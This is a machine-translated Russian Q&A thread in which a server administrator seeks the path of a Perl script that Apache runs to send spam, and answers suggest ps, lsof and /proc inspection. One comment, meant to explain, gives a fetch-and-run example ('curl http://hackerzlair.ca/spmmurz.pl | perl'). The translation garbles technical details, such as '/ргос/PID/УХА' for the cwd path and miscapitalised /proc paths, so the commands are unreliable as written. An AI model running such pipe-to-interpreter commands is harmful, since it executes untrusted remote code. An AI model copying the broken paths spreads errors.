2012-03-02 4 views
0

У меня есть сервер WHM, на котором запущен Centos 4 (да, я знаю, что он просто не поддерживается) все обновления установлены, все кажется актуальным. В декабре 2011 года один из владельцев сервера, у которого есть 50 веб-сайтов, заразил компьютер и вирус/троянец прочитал его сохраненные паролем пароли, а затем зарегистрировал ftp и изменил ВСЕ файлы index.php, которые он мог найти, однако мы очистили все.Найти скрипт/путь для perl

Проблема заключается в следующем: они каким-то образом отправляют электронные письма, используя скрипт perl, выпущенный Apache. Мне нужен способ узнать, какой путь к скрипту они запускают, в «ps» он только отображается как «perl», при проверке файлов, открытых скриптом perl, в нем перечислены ВСЕ журналы Apache vhost, журнал ошибок apache и/dev/null.

Мне НЕОБХОДИМО узнать путь прохождения скрипта, который отправляет электронные письма, сервер уже дважды переименовывается в CBL в spamhaus, ища «вручную», это не вариант, поскольку существует более 200 веб-сайтов там, которые занимают более 100 ГБ места на сервере.

Сервер НЕ скомпрометирован, единственная проблема заключается в том, что я не могу найти сценарий, который отправляет спам.

+1

Как суровый, как может показаться, ваш лучший вариант, скорее всего, вытереть коробку и восстановить из известной хорошей резервной копии. Если у вас нет хорошей резервной копии, вы, вероятно, лучше всего сможете создать новый сервер и проверить все файлы перед их переносом. Если ваш хакер был даже минимально компетентен, вы никогда не сможете искоренить все изменения, внесенные в вашу систему. –

+3

Сценарий не обязательно является локальным файлом открытого текста. 'decrypt warez.xxx | perl' или 'curl http://hackerzlair.ca/spmmurz.pl | Например, perl' - это способы запуска perl-скрипта в вашей системе. – mob

ответ

4

Вы можете попробовать и понять это из каталога/Proc

захватить PID бегущего PERL процесса, а затем проверить

/ргос/PID/УХА который будет символическим к текущей работе каталог сценария

проверка

/Proc/PID/CmdLine, который будет содержать всю командную строку запущенного процесса

(в обеих случаях, заменить PID с PID процесса)

Отказ от ответственности: Я работаю с моей Линукс машины, так что вполне возможно, что ваш макет файловой системы отличается

1

В большинстве систем UNIX ps просто показывает имя команды, но

ps -ef 

Показать полный путь. Ps'es отличаются от unix до unix. Если это не сработает, попробуйте

man ps 

ищите «полный» или «полный формат». Надеюсь это поможет.

0

ps часто имеет флаг -f или что-то подобное, что покажет вам полный комплекс информации. Если это не сработает, попробуйте использовать lsof для номера процесса, который вы получаете из команды ps.

Смежные вопросы